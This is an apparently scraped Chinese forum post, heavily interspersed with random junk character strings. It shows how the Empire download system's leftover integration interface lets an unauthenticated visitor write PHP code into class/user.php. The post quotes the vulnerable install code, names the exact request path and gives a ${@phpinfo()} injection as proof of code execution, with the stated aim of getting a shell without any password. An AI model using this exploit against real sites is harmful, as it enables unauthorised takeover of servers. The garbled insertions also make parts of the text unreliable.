这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们, o$ w8 r8 d$ Q9 _
; ]9 l& w, u7 B9 |8 ?/ K- l9 F9 D- t" D$ x/ f1 N! U3 Q
这是帝国的一套下载系统 如图
; a5 W' f- G+ Pps(不需要任何账户和密码,直接写shell) - ]/ y# r( ` `6 A0 E4 _
由于很多站是由于下载要整合discuz 等等一些论坛....
/ W& M. n8 C6 N9 q , A) L9 ?" P5 |! `8 ?% w) R% F
而帝国他又有一个万能接口,如图 g7 l; h$ u) X
4 E' z( \4 f, S; ~% _
6 ]% n7 U; H$ ]! w* D* p: g而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码. C8 g# f# i" a( P0 E0 ?9 @
! y* O$ _* s- d, J9 ~当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
. l8 F, T0 B6 U3 d$ Y$ M) W. W3 b' U" e5 N" I& ?! |4 R
在data/fun.php中的15行
* J6 h+ O& W1 m5 v0 K& L7 R5 l5 {) p8 G" S( d6 f# u1 q$ C, Q
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
9 g" p6 I- M, G4 g7 |! W17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
! x1 q7 h1 Z; |; \
; C1 I9 h% E* Y; @7 d1 l, T这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);5 s4 Q; B n5 S
9 @! o! ?0 B$ U' c- N L6 [他将传进来的变量进行了切割,然后赋给了$filetext
, I3 z& J# o7 ]2 g& W4 Q* T5 r$ ]: R5 }7 Z
然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
1 }( k/ m6 Z9 ]/ m v! P! e6 e( o
我们看看写入的结果,随便填一个
: v% y$ A$ S# i) ^* [5 F
) ?0 T( D3 `1 A: X9 j
1 M% ]0 k( H# l: e V) `8 L1 g: r* h) F
: ?' p% V5 y U! x6 ^' J8 o
8 w- g5 a) A3 t% [4 i9 m! I. f8 w8 D, j5 Q+ G/ o, Q3 l0 U. z0 k
3 g& a5 Q! u P, X* P3 v' e
0 u, Q' n0 w/ `8 c# Q1 j3 {/ T% J% i2 ~4 F
! i4 z" b3 z6 k8 b% b! O1 {
' ~+ _. v! G" T& E, i
% n! h! F" n8 J% S4 ]7 o2 e6 v
1 f. F( l; ^- `. o u6 v" |
( w0 @- J" k5 {4 u. M- _9 d- Q% Q6 u6 @+ @
9 o2 @* b4 B$ t% O! m, x9 t
% e* A6 [4 V+ T3 |# j+ q& Y1 R) P4 B) J ]
, u1 U; ~! c, P: k
/ [% u$ F) d) C. T! z/ ?
$ S, R9 s* H- v& I' S所以我们淫荡点,写个${@phpinfo()}试试 $ }2 [2 }8 Y) z& [. Z) X
然后访问以下class/user.php这个文件
1 x6 e4 g6 {7 B" p7 D日了吧
; m( ^2 C; `4 A5 w
0 m1 c) q! [0 f# |7 K; m5 g' Z" ?) q, b4 [' b; @( I
* H7 p, J% Z3 T& \ V7 H
; `8 y& V: j+ {- j5 o
8 |! S: ^3 |* X
|